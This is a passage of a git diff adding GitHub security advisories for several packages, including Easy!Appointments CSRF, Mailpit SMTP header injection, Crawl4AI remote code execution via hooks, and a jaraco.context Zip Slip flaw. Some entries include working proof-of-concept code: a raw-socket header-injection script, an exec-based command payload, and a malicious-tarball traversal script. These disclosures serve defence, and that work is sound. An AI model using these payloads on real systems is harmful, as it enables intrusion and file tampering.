"2026-01-08T21:16:41Z", + "nvd_published_at": "2026-01-08T19:16:00Z" + } +} \ No newline at end of file diff --git a/advisories/github-reviewed/2026/01/GHSA-54v4-4685-vwrj/GHSA-54v4-4685-vwrj.json b/advisories/github-reviewed/2026/01/GHSA-54v4-4685-vwrj/GHSA-54v4-4685-vwrj.json new file mode 100644 index 0000000000000..b408edcbf4297 --- /dev/null +++ b/advisories/github-reviewed/2026/01/GHSA-54v4-4685-vwrj/GHSA-54v4-4685-vwrj.json @@ -0,0 +1,65 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-54v4-4685-vwrj", + "modified": "2026-01-15T22:34:15Z", + "published": "2026-01-15T20:11:23Z", + "aliases": [ + "CVE-2026-23622" + ], + "summary": "alextselegidis/easyappointments is Vulnerable to CSRF Protection Bypass", + "details": "### Summary\n`application/core/EA_Security.php::csrf_verify()` only enforces CSRF for POST requests and returns early for non-POST methods. Several application endpoints perform state-changing operations while accepting parameters from GET (or $_REQUEST), so an attacker can perform CSRF by forcing a victim's browser to issue a crafted GET request. Impact: creation of admin accounts, modification of admin email/password, and full admin account takeover\n\n### Details\n\nin https://github.com/alextselegidis/easyappointments/blob/41c9b93a5a2c185a914f204412324d8980943fd5/application/core/EA_Security.php#L52\n\n* **Repository / tested commit:** `alextselegidis/easyappointments` — commit `41c9b93a5a2c185a914f204412324d8980943fd5`.\n* **Vulnerable file & function:** `application/core/EA_Security.php::csrf_verify()` — around line 52. Link: `.../application/core/EA_Security.php#L52`.\n* **Root cause:** The function early-returns when the request is not `POST`:\n\n```php\n// vulnerable snippet\nif (strtoupper($_SERVER['REQUEST_METHOD']) !== 'POST') {\n return $this->csrf_set_cookie();\n}\n```\n\nBecause of this, non-POST requests (GET/PUT/DELETE/etc.) never reach token validation. When application controllers accept state-changing parameters via `GET` or `$_REQUEST`, these requests bypass CSRF checks entirely and the application executes the state change.\n\n* **Examples of vulnerable endpoints (observed during testing):**\n\n * `index.php/admins/store` — create admin (accepts fields via GET)\n * `index.php/admins/update` — modify admin (accepts fields via GET)\n * `index.php/account/save` — modify account/password (accepts fields via GET)\n\n* **Why this is critical:** An attacker can host a simple page that issues requests (e.g., `
    ` or an auto-submitting form). If an authenticated admin visits that page, the attacker can create an admin account, change admin email, or change password—enabling account takeover and full compromise of the application instance.\n\n\n### PoC\nI will attach video proof showing how I add an admin via CSRF. Below are reproducible PoC artifacts and steps to reproduce locally \n\nhttps://github.com/user-attachments/assets/3fea1034-c479-43d9-9c40-86f8ba0b33c1\n\n**Browser PoC (HTML)**\nSave one of the HTML files (example `csrf_add_admin_account.html`) on an attacker server and visit it with a browser where the admin is logged into Easy!Appointments:\n\n```html\n\n\n\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n
    \n\n\n```\n\nanother example for another endpoint\n\n`csrf_change_admin_email.html`\n\n```html\n\n\n
    \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n
    \n\n\n```\n\n### Suggested remediation (recommended)\n\nProvide two practical remediation paths mmediate and long-term:\n\n**Immediate (urgent, low-effort):** Enforce CSRF checks for all methods and do not skip validation for non-POST. Minimal core fix:\n\nThis closes the common bypass route while keeping read-only GET behavior intact.\n\n**Stricter immediate option (no-bypass):** Require a valid CSRF token for **all** methods (including GET) unless the URI is explicitly whitelisted in `csrf_exclude_uris`. This prevents GET-based bypass even if controllers remain unchanged but may require updates to legitimate GET consumers.\n\n**Long-term (recommended, correct fix):**\n\n1. **Controller hardening:** Update controllers so all state-changing actions accept only the proper HTTP method (POST/PUT/DELETE) .\n2. **Require re-authentication or confirmation** for critical operations (email/password changes).\n3. **Set cookie flags**: `SameSite`, `Secure`, and `HttpOnly` as appropriate.\n\n\n### Impact\n\n* **Type:** Cross-Site Request Forgery (CSRF) allowing account takeover / privilege escalation.\n* **Who is impacted:** Any deployment of Easy!Appointments using the vulnerable code where administrative or sensitive endpoints accept GET or use `$_REQUEST` (what i found is almost every endpoint work with GET and POST). Logged-in administrator users are at greatest risk.\n* **Consequences:** An attacker can create administrative accounts, change administrator emails/passwords (leading to password reset abuse), and fully compromise application instances and data.", + "severity": [ + { + "type": "CVSS_V4", + "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P" + } + ], + "affected": [ + { + "package": { + "ecosystem": "Packagist", + "name": "alextselegidis/easyappointments" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "last_affected": "1.5.2" + } + ] + } + ] + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/alextselegidis/easyappointments/security/advisories/GHSA-54v4-4685-vwrj" + }, + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-23622" + }, + { + "type": "PACKAGE", + "url": "https://github.com/alextselegidis/easyappointments" + }, + { + "type": "WEB", + "url": "https://github.com/alextselegidis/easyappointments/blob/41c9b93a5a2c185a914f204412324d8980943fd5/application/core/EA_Security.php#L52" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-352" + ], + "severity": "HIGH", + "github_reviewed": true, + "github_reviewed_at": "2026-01-15T20:11:23Z", + "nvd_published_at": "2026-01-15T20:16:05Z" + } +} \ No newline at end of file diff --git a/advisories/github-reviewed/2026/01/GHSA-54wq-72mp-cq7c/GHSA-54wq-72mp-cq7c.json b/advisories/github-reviewed/2026/01/GHSA-54wq-72mp-cq7c/GHSA-54wq-72mp-cq7c.json new file mode 100644 index 0000000000000..a1aee596b3a7a --- /dev/null +++ b/advisories/github-reviewed/2026/01/GHSA-54wq-72mp-cq7c/GHSA-54wq-72mp-cq7c.json @@ -0,0 +1,73 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-54wq-72mp-cq7c", + "modified": "2026-02-02T14:50:34Z", + "published": "2026-01-20T17:54:55Z", + "aliases": [ + "CVE-2026-23829" + ], + "summary": "Mailpit has an SMTP Header Injection via Regex Bypass", + "details": "# Vulnerability Report: SMTP Header Injection via Regex Bypass\n\n**Vulnerable Code:** `mailpit/internal/smtpd/smtpd.go`\n\n## Executive Summary\nMailpit's SMTP server is vulnerable to **Header Injection** due to an insufficient Regular Expression used to validate `RCPT TO` and `MAIL FROM` addresses. An attacker can inject arbitrary SMTP headers (or corrupt existing ones) by including carriage return characters (`\\r`) in the email address. This header injection occurs because the regex intended to filter control characters fails to exclude `\\r` and `\\n` when used inside a character class.\n\n## RFC Compliance & Design Analysis\n**\"Is this behavior intentional for a testing tool?\"**\nNo. While testing tools are often permissive, this specific behavior violates the core SMTP protocol and fails the developer's own intent.\n\n1. **RFC 5321 Violation:** The SMTP protocol strictly forbids Control Characters (CR, LF, Null) in the envelope address (`Mailbox`).\n * *RFC 5321 Section 4.1.2:* A `Mailbox` consists of an `Atom` or `Quoted-string`. An `Atom` explicitly excludes \"specials, SPACE and CTLs\" (Control Characters).\n2. **Failed Intent:** The existence of `\\v` in the regex `[^<>\\v]` proves the developer **intended** to block vertical whitespace. The vulnerability is that `\\v` in Go regex (`re2`) inside brackets `[]` matches *only* Vertical Tab, not CR/LF. If the design were to allow everything, the `\\v` exclusion wouldn't exist.\n3. **Data Corruption:** Allowing `\\r` results in the generation of malformed `.eml` files where the `Received` header is broken. This is not a feature; it's a bug that creates invalid email files.\n4. RFC 5321 also enforces address lengths which are not applied in Mailpit.\n\n## Technical Analysis\n\n### The Flaw\nThe vulnerability exists in the regex definitions used to parse SMTP commands:\n\n```go\n// internal/smtpd/smtpd.go:32-33\nrcptToRE = regexp.MustCompile(`(?i)TO: ?<([^<>\\v]+)>( |$)(.*)?`)\nmailFromRE = regexp.MustCompile(`(?i)FROM: ?<(|[^<>\\v]+)>( |$)(.*)?`)\n```\n\nThe developer likely intended `[^<>\\v]` to mean \"Match anything that is NOT a `<` OR `>` OR `Vertical Whitespace`\".\n\nHowever, in Go's `regexp` (RE2) syntax, the behavior of `\\v` changes depending on context:\n- **Outside** brackets: `\\v` matches all vertical whitespace: `[\\n\\v\\f\\r\\x85\\u2028\\u2029]`.\n- **Inside** brackets (`[...]`): `\\v` matches **only** the Vertical Tab character (`\\x0B`).\n\n**Result:** The regex `[^<>\\v]` **allows** Carriage Return (`\\r`) and Line Feed (`\\n`) characters to pass through, as they are not `<` or `>` or `\\x0B`.\n\n### Exploit Scenario\n### Exploit Scenario\nWhen Mailpit constructs the `Received` header, it uses the validated recipient address directly:\n\n```go\n// internal/smtpd/smtpd.go:865\nbuffer.WriteString(fmt.Sprintf(\" for <%s>; %s\\r\\n\", to[0], now))\n```\n\nIf `to[0]` contains `victim\\rINJECTED-HEADER: YES`, the resulting string in memory becomes:\n\n```text\n for ; ...\n```\n\nWhile `bufio.ReadString` prevents injecting immediate `\\n` (newlines), `\\r` (Carriage Return) bypasses this check. \n\n**The Result:** The stored EML file contains a \"Bare CR\".\n- **RFC Violation:** RFC 5321 strictly forbids Bare CR. Lines must end in CRLF.\n- **UI Behavior:** Browsers typically render Bare CR as a space, so it may look like `victim INJECTED` in the Mailpit UI.\n- **Real Impact:** The raw email is corrupted. If this email is exported or relayed, downstream systems (Outlook, older MTAs) may interpret the Bare CR as a line break, triggering a full **Header Injection**. Furthermore, Mailpit failing to reject this gives developers a **false sense of security**, as their code might be generating malformed emails that work in Mailpit but fail in production (e.g., with Gmail or Exchange).\n\n### Raw EML Verification\nThe following screenshot of the raw `.eml` file confirms that the `\\r` character successfully broke the `Received` header structure in the stored file, effectively creating a new line for the injected content.\n\n\"image\"\n\n\"image\"\n\n\"image\"\n\n\n\nAs seen in lines of the screenshot:\n```text\n for ; Tue, 13 Jan ...\n```\nThe `INJECTED_VIA_CR:YES` payload is treated as a start of a new line by the text editor (VS Code), which honors `\\r` as a line break. This proves the injection matches the \"Bare CR\" attack vector.\n\n## Additional Proof of Concepts\n\n### 1. Null Byte Injection (`\\x00`)\nThe regex `[^<>\\v]+` also allows the Null Byte (`\\x00`).\n**Test:** `test_null_byte.py` sent `RCPT TO:`.\n**Result:** Server accepted the message (`250 OK`).\n**Impact:** The API returns an empty `[]` for the To field in the message summary, indicating the parser failure in the UI/API layer. The raw message content confirms the Null Byte is stored in the database.\n\n### 3. Detailed Character Compatibility\nTests (0-127 ASCII) confirm that the regex `[^<>\\v]` blocks **only** the following:\n- `<` (Less Than)\n- `>` (Greater Than)\n- `\\x0B` (Vertical Tab)\n\n**Crucially, it ALLOWS:**\n| Character | Hex | Regex Status | Network Status | Impact |\n| :--- | :--- | :--- | :--- | :--- |\n| **Carriage Return** | `\\r` (`0x0D`) | **ALLOWED** | **Passed** | **Header Injection** |\n| **Line Feed** | `\\n` (`0x0A`) | **ALLOWED** | Blocked* | *Blocked by `bufio.ReadString`, not regex. |\n| **Null Byte** | `\\x00` (`0x00`) | **ALLOWED** | **Passed** | API DoS / Corrupt Data |\n| **Tab** | `\\t` (`0x09`) | **ALLOWED** | **Passed** | Formatting issues |\n| **Delete** | `\\x7F` (`0x7F`) | **ALLOWED** | **Passed** | Potential obfuscation |\n| **Controls** | `0x01`-`0x1F` | **ALLOWED** | **Passed** | (Except `0x0A`, `0x0B`, `0x0D`) |\n\n*This confirms that the regex fails to implement a proper \"Safe Text\" allowlist, defaulting instead to a flawed denylist.*\n\n## Proof of Concept\nThe following Python script demonstrates the injection of a \"bare CR\" into the headers, which is successfully accepted by the server.\n\n```python\nimport socket\n\ndef exploit():\n s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n s.connect((\"127.0.0.1\", 1025))\n s.recv(1024)\n s.send(b\"EHLO test.com\\r\\n\")\n s.recv(1024)\n s.send(b\"MAIL FROM:\\r\\n\")\n s.recv(1024)\n \n # Injecting \\r \n payload = b\"RCPT TO:\\r\\n\"\n s.send(payload)\n resp = s.recv(1024)\n print(f\"Server Response: {resp.decode()}\") # Expect 250 OK\n \n s.send(b\"DATA\\r\\n\")\n s.recv(1024)\n s.send(b\"Subject: Test\\r\\n\\r\\nBody\\r\\n.\\r\\n\")\n s.recv(1024)\n s.close()\n \nexploit()\n```\n\n## Remediation\nUpdate the regex to explicitly exclude `\\r` and `\\n`, or use the correct character class escape for control characters.\n\n**Recommended Fix:**\nUse `\\x00-\\x1F` to exclude all ASCII control characters.\n\n```go\n// Fix: Exclude all control characters explicitly\nrcptToRE = regexp.MustCompile(`(?i)TO: ?<([^<>\\x00-\\x1f]+)>( |$)(.*)?`)\nmailFromRE = regexp.MustCompile(`(?i)FROM: ?<(|[^<>\\x00-\\x1f]+)>( |$)(.*)?`)\n```\n\nAlternatively, strictly exclude CR and LF:\n```go\nrcptToRE = regexp.MustCompile(`(?i)TO: ?<([^<>\\r\\n]+)>( |$)(.*)?`)\n```\n## Classification & References\n- **CWE-93:** [Improper Neutralization of CRLF Sequences ('CRLF Injection')](https://cwe.mitre.org/data/definitions/93.html)\n- **CWE-150:** [Improper Neutralization of Escape, Meta, or Control Sequences](https://cwe.mitre.org/data/definitions/150.html)\n- **OWASP:** [Injection Flaws](https://owasp.org/www-community/attacks/Injection_Flaws)\n- **CAPEC-106:** [Command Injection](https://capec.mitre.org/data/definitions/106.html) (Related usage pattern)\n- [[RFC 5321 Section 4.5.3.1 - Size Limits](https://datatracker.ietf.org/doc/html/rfc5321#section-4.5.3.1)](https://datatracker.ietf.org/doc/html/rfc5321#section-4.5.3.1)", + "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N" + } + ], + "affected": [ + { + "package": { + "ecosystem": "Go", + "name": "github.com/axllent/mailpit" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "1.28.3" + } + ] + } + ], + "database_specific": { + "last_known_affected_version_range": "<= 1.28.2" + } + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/axllent/mailpit/security/advisories/GHSA-54wq-72mp-cq7c" + }, + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-23829" + }, + { + "type": "WEB", + "url": "https://github.com/axllent/mailpit/commit/36cc06c125954dec6673219dafa084e13cc14534" + }, + { + "type": "PACKAGE", + "url": "https://github.com/axllent/mailpit" + }, + { + "type": "WEB", + "url": "https://github.com/axllent/mailpit/releases/tag/v1.28.3" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-150", + "CWE-93" + ], + "severity": "MODERATE", + "github_reviewed": true, + "github_reviewed_at": "2026-01-20T17:54:55Z", + "nvd_published_at": "2026-01-19T00:15:48Z" + } +} \ No newline at end of file diff --git a/advisories/github-reviewed/2026/01/GHSA-562r-8445-54r2/GHSA-562r-8445-54r2.json b/advisories/github-reviewed/2026/01/GHSA-562r-8445-54r2/GHSA-562r-8445-54r2.json new file mode 100644 index 0000000000000..85735a733b8de --- /dev/null +++ b/advisories/github-reviewed/2026/01/GHSA-562r-8445-54r2/GHSA-562r-8445-54r2.json @@ -0,0 +1,91 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-562r-8445-54r2", + "modified": "2026-01-13T19:02:52Z", + "published": "2026-01-13T19:02:52Z", + "aliases": [ + "CVE-2026-22777" + ], + "summary": "ComfyUI-Manager is Vulnerable to CRLF Injection in Configuration Handler", + "details": "## Impact\n\n**Vulnerability Type**: CRLF Injection via ConfigParser\n\nAn attacker can inject special characters into HTTP query parameters to add arbitrary configuration values to the `config.ini` file. This can lead to security setting tampering or modification of application behavior.\n\n**Affected Users**: Users running ComfyUI-Manager in environments where ComfyUI is configured with the `--listen` option to allow remote access.\n\n**CVSS Score**: 7.5 (High)\n\n## Patches\n\nFixed in the following versions:\n- **3.39.2** (v3.x branch)\n- **4.0.5** (v4.x branch)\n\nSanitization logic was added to the `write_config()` function to remove CRLF and NULL characters from all string values.\n\n## Workarounds\n\nIf upgrading is not possible:\n- Run ComfyUI-Manager only on trusted networks\n- Block external access via firewall\n- Run on localhost only without the `--listen` option\n\n## References\n\n- [CWE-93: Improper Neutralization of CRLF Sequences](https://cwe.mitre.org/data/definitions/93.html)\n- [OWASP CRLF Injection](https://owasp.org/www-community/vulnerabilities/CRLF_Injection)\n\n## Credit\n\nThis vulnerability was reported by:\n- 李存义 \n- D0n9 Li \n- Swings \n- Osword from SGLAB of Legendsec at Qi'anxin Group ", + "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N" + } + ], + "affected": [ + { + "package": { + "ecosystem": "PyPI", + "name": "comfy-cli" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "4.0.0" + }, + { + "fixed": "4.0.5" + } + ] + } + ], + "database_specific": { + "last_known_affected_version_range": "<= 4.0.4" + } + }, + { + "package": { + "ecosystem": "PyPI", + "name": "comfy-cli" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "3.39.2" + } + ] + } + ] + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/Comfy-Org/ComfyUI-Manager/security/advisories/GHSA-562r-8445-54r2" + }, + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-22777" + }, + { + "type": "WEB", + "url": "https://github.com/Comfy-Org/ComfyUI-Manager/commit/ef8703a3d7ab4e6ecda8f96e0c5816c23d1cb262" + }, + { + "type": "WEB", + "url": "https://github.com/Comfy-Org/ComfyUI-Manager/commit/f4fa394e0f03b013f1068c96cff168ad10bd0410" + }, + { + "type": "PACKAGE", + "url": "https://github.com/Comfy-Org/ComfyUI-Manager" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-93" + ], + "severity": "HIGH", + "github_reviewed": true, + "github_reviewed_at": "2026-01-13T19:02:52Z", + "nvd_published_at": "2026-01-10T07:16:03Z" + } +} \ No newline at end of file diff --git a/advisories/github-reviewed/2026/01/GHSA-585q-cm62-757j/GHSA-585q-cm62-757j.json b/advisories/github-reviewed/2026/01/GHSA-585q-cm62-757j/GHSA-585q-cm62-757j.json new file mode 100644 index 0000000000000..6feff75f9ec12 --- /dev/null +++ b/advisories/github-reviewed/2026/01/GHSA-585q-cm62-757j/GHSA-585q-cm62-757j.json @@ -0,0 +1,70 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-585q-cm62-757j", + "modified": "2026-02-10T16:05:51Z", + "published": "2026-01-09T19:53:23Z", + "aliases": [], + "summary": "mnl has segmentation fault and invalid memory read in `mnl::cb_run`", + "details": "The function `mnl::cb_run` is marked as safe but exhibits unsound behavior when processing malformed Netlink message buffers.\n\nPassing a crafted byte slice to `mnl::cb_run` can trigger memory violations. The function does not sufficiently validate the input buffer structure before processing, leading to out-of-bounds reads.\n\nThis vulnerability allows an attacker to cause a Denial of Service (segmentation fault) or potentially read unmapped memory by providing a malformed Netlink message.", + "severity": [ + { + "type": "CVSS_V4", + "score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:P" + } + ], + "affected": [ + { + "package": { + "ecosystem": "crates.io", + "name": "mnl" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "0.3.1" + } + ] + } + ], + "database_specific": { + "last_known_affected_version_range": "<= 0.3.0" + } + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/mullvad/mnl-rs/issues/15" + }, + { + "type": "WEB", + "url": "https://github.com/mullvad/mnl-rs/pull/21" + }, + { + "type": "WEB", + "url": "https://github.com/mullvad/mnl-rs/commit/61929d11c13b6cc4f864840a586fd48c6fd20ad9" + }, + { + "type": "PACKAGE", + "url": "https://github.com/mullvad/mnl-rs" + }, + { + "type": "WEB", + "url": "https://rustsec.org/advisories/RUSTSEC-2025-0142.html" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-125" + ], + "severity": "LOW", + "github_reviewed": true, + "github_reviewed_at": "2026-01-09T19:53:23Z", + "nvd_published_at": null + } +} \ No newline at end of file diff --git a/advisories/github-reviewed/2026/01/GHSA-5882-5rx9-xgxp/GHSA-5882-5rx9-xgxp.json b/advisories/github-reviewed/2026/01/GHSA-5882-5rx9-xgxp/GHSA-5882-5rx9-xgxp.json new file mode 100644 index 0000000000000..a8194e7dcd1c3 --- /dev/null +++ b/advisories/github-reviewed/2026/01/GHSA-5882-5rx9-xgxp/GHSA-5882-5rx9-xgxp.json @@ -0,0 +1,77 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-5882-5rx9-xgxp", + "modified": "2026-02-12T20:09:29Z", + "published": "2026-01-16T20:59:16Z", + "aliases": [ + "CVE-2026-26216" + ], + "summary": "Crawl4AI is Vulnerable to Remote Code Execution in Docker API via Hooks Parameter", + "details": "A critical remote code execution vulnerability exists in the Crawl4AI Docker API deployment. The `/crawl` endpoint accepts a `hooks` parameter containing Python code that is executed using `exec()`. The `__import__` builtin was included in the allowed builtins, allowing attackers to import arbitrary modules and execute system commands.\n\n**Attack Vector:**\n```json\nPOST /crawl\n{\n \"urls\": [\"https://example.com\"],\n \"hooks\": {\n \"code\": {\n \"on_page_context_created\": \"async def hook(page, context, **kwargs):\\n __import__('os').system('malicious_command')\\n return page\"\n }\n }\n}\n```\n\n### Impact\n\nAn unauthenticated attacker can:\n- Execute arbitrary system commands\n- Read/write files on the server\n- Exfiltrate sensitive data (environment variables, API keys)\n- Pivot to internal network services\n- Completely compromise the server\n\n### Mitigation\n\n1. **Upgrade to v0.8.0** (recommended)\n2. If unable to upgrade immediately:\n - Disable the Docker API\n - Block `/crawl` endpoint at network level\n - Add authentication to the API\n\n### Fix Details\n\n1. Removed `__import__` from `allowed_builtins` in `hook_manager.py`\n2. Hooks disabled by default (`CRAWL4AI_HOOKS_ENABLED=false`)\n3. Users must explicitly opt-in to enable hooks\n\n### Credits\n\nDiscovered by Neo by ProjectDiscovery (https://projectdiscovery.io)", + "severity": [ + { + "type": "CVSS_V4", + "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H" + } + ], + "affected": [ + { + "package": { + "ecosystem": "PyPI", + "name": "Crawl4AI" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "0.8.0" + } + ] + } + ] + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/unclecode/crawl4ai/security/advisories/GHSA-5882-5rx9-xgxp" + }, + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-26216" + }, + { + "type": "PACKAGE", + "url": "https://github.com/unclecode/crawl4ai" + }, + { + "type": "WEB", + "url": "https://github.com/unclecode/crawl4ai/blob/main/docs/blog/release-v0.8.0.md" + }, + { + "type": "WEB", + "url": "https://github.com/unclecode/crawl4ai/blob/release/v0.8.0/docs/blog/release-v0.8.0.md" + }, + { + "type": "WEB", + "url": "https://github.com/unclecode/crawl4ai/blob/release/v0.8.0/docs/migration/v0.8.0-upgrade-guide.md" + }, + { + "type": "WEB", + "url": "https://www.vulncheck.com/advisories/crawl4ai-docker-api-unauthenticated-remote-code-execution-via-hooks-parameter" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-94" + ], + "severity": "CRITICAL", + "github_reviewed": true, + "github_reviewed_at": "2026-01-16T20:59:16Z", + "nvd_published_at": "2026-02-12T16:16:17Z" + } +} \ No newline at end of file diff --git a/advisories/github-reviewed/2026/01/GHSA-58pv-8j8x-9vj2/GHSA-58pv-8j8x-9vj2.json b/advisories/github-reviewed/2026/01/GHSA-58pv-8j8x-9vj2/GHSA-58pv-8j8x-9vj2.json new file mode 100644 index 0000000000000..695dae283ccd9 --- /dev/null +++ b/advisories/github-reviewed/2026/01/GHSA-58pv-8j8x-9vj2/GHSA-58pv-8j8x-9vj2.json @@ -0,0 +1,73 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-58pv-8j8x-9vj2", + "modified": "2026-01-22T22:25:55Z", + "published": "2026-01-13T21:48:17Z", + "aliases": [ + "CVE-2026-23949" + ], + "summary": "jaraco.context Has a Path Traversal Vulnerability", + "details": "### Summary\nThere is a Zip Slip path traversal vulnerability in the jaraco.context package affecting setuptools as well, in `jaraco.context.tarball()` function. The vulnerability may allow attackers to extract files outside the intended extraction directory when malicious tar archives are processed.\nThe strip_first_component filter splits the path on the first `/` and extracts the second component, while allowing `../` sequences. Paths like `dummy_dir/../../etc/passwd` become `../../etc/passwd`.\nNote that this suffers from a nested tarball attack as well with multi-level tar files such as `dummy_dir/inner.tar.gz`, where the inner.tar.gz includes a traversal `dummy_dir/../../config/.env` that also gets translated to `../../config/.env`.\n\nThe code can be found:\n- https://github.com/jaraco/jaraco.context/blob/main/jaraco/context/__init__.py#L74-L91\n- https://github.com/pypa/setuptools/blob/main/setuptools/_vendor/jaraco/context.py#L55-L76 (inherited)\n\nThis report was also sent to setuptools maintainers and they asked some questions regarding this.\n\nThe lengthy answer is:\n\nThe vulnerability seems to be the `strip_first_component` filter function, not the tarball function itself and has the same behavior on any tested Python version locally (from 11 to 14, as I noticed that there is a backports conditional for the tarball).\nThe stock tarball for Python 3.12+ is considered not vulnerable (until proven otherwise 😄) but here the custom filter seems to overwrite the native filtering and introduces the issue - while overwriting the updated secure Python 3.12+ behavior and giving a false sense of sanitization.\n\nThe short answer is:\n\nIf we are talking about Python < 3.12 the tarball and jaraco implementations / behaviors are relatively the same but for Python 3.12+ the jaraco implementation overwrites the native tarball protection.\n\nSampled tests:\n\"image\"\n\n### Details\n\nThe flow with setuptools in the mix:\n```\nsetuptools._vendor.jaraco.context.tarball() > req = urlopen(url) > with tarfile.open(fileobj=req, mode='r|*') as tf: > tf.extractall(path=target_dir, filter=strip_first_component) > strip_first_component (Vulnerable)\n```\n\n### PoC\n\nThis was tested on multiple Python versions > 11 on a Debian GNU 12 (bookworm).\nYou can run this directly after having all the dependencies:\n```py\n#!/usr/bin/env python3\nimport tarfile\nimport io\nimport os\nimport sys\nimport shutil\nimport tempfile\nfrom setuptools._vendor.jaraco.context import strip_first_component\n\n\ndef create_malicious_tarball(traversal_to_root: str):\n tar_data = io.BytesIO()\n with tarfile.open(fileobj=tar_data, mode='w') as tar:\n # Create a malicious file path with traversal sequences\n malicious_files = [\n # Attempt 1: Simple traversal to /tmp\n {\n 'path': f'dummy_dir/{traversal_to_root}tmp/pwned_by_zipslip.txt',\n 'content': b'[ZIPSLIP] File written to /tmp via path traversal!',\n 'name': 'pwned_via_tmp'\n },\n # Attempt 2: Try to write to home directory\n {\n 'path': f'dummy_dir/{traversal_to_root}home/pwned_home.txt',\n 'content': b'[ZIPSLIP] Attempted write to home directory',\n 'name': 'pwned_via_home'\n },\n # Attempt 3: Try to write to current directory parent\n {\n 'path': 'dummy_dir/../escaped.txt',\n 'content': b'[ZIPSLIP] File in parent directory!',\n 'name': 'pwned_escaped'\n },\n # Attempt 4: Legitimate file for comparison\n {\n 'path': 'dummy_dir/legitimate_file.txt',\n 'content': b'This file stays in target directory',\n 'name': 'legitimate'\n }\n ]\n for file_info in malicious_files:\n content = file_info['content']\n tarinfo = tarfile.TarInfo(name=file_info['path'])\n tarinfo.size = len(content)\n tar.addfile(tarinfo, io.BytesIO(content))\n\n tar_data.seek(0)\n return tar_data\n\n\ndef exploit_zipslip():\n print(\\\"[*] Target: setuptools._vendor.jaraco.context.tarball()\\\")\n\n # Create temporary directory for extraction\n temp_base = tempfile.mkdtemp(prefix=\\\"zipslip_test_\\\")\n target_dir = os.path.join(temp_base, \\\"extraction_target\\\")\n\n try:\n os.mkdir(target_dir)\n print(f\\\"[+] Created target extraction directory: {target_dir}\\\")\n\n target_dir_abs = os.path.abspath(target_dir)\n print(target_dir_abs)\n depth_to_root = len([p for p in target_dir_abs.split(os.sep) if p])\n traversal_to_root = \\\"../\\\" * depth_to_root\n print(f\\\"[+] Using traversal_to_root prefix: {traversal_to_root!r}\\\")\n\n # Create malicious tarball\n print(\\\"[*] Creating malicious tar archive...\\\")\n tar_data = create_malicious_tarball(traversal_to_root)\n\n try:\n with tarfile.open(fileobj=tar_data, mode='r') as tf:\n for member in tf:\n # Apply the ACTUAL vulnerable function from setuptools\n processed_member = strip_first_component(member, target_dir)\n print(f\\\"[*] Extracting: {member.name:40} -> {processed_member.name}\\\")\n\n # Extract to target directory\n try:\n tf.extract(processed_member, path=target_dir)\n print(f\\\" ✓ Extracted successfully\\\")\n except (PermissionError, FileNotFoundError, OSError) as e:\n print(f\\\" ! {type(e).__name__}: Path traversal ATTEMPTED\\\")\n except Exception as e:\n print(f\\\"[!] Extraction raised exception: {type(e).__name__}: {e}\\\")\n\n # Check results\n print(\\\"[*] Checking for extracted files...\\\")\n\n # Check target directory\n print(f\\\"[*] Files in target directory ({target_dir}):\\\")\n if os.path.exists(target_dir):\n for root, _, files in os.walk(target_dir):\n level = root.replace(target_dir, '').count(os.sep)\n indent = ' ' * 2 * level\n print(f\\\"{indent}{os.path.basename(root)}/\\\")\n subindent = ' ' * 2 * (level + 1)\n for file in files:\n filepath = os.path.join(root, file)\n try:\n with open(filepath, 'r') as f:\n content = f.read()[:50]\n print(f\\\"{subindent}{file}\\\")\n print(f\\\"{subindent} └─ {content}...\\\")\n except:\n print(f\\\"{subindent}{file} (binary)\\\")\n else:\n print(f\\\"[!] Target directory not found!\\\")\n\n print()\n print(\\\"[*] Checking for traversal attempts...\\\")\n print()\n\n # Check if files escaped\n traversal_attempts = [\n (\\\"/tmp/pwned_by_zipslip.txt\\\", \\\"Escape to /tmp\\\"),\n (os.path.expanduser(\\\"~/pwned_home.txt\\\"), \\\"Escape to home\\\"),\n (os.path.join(temp_base, 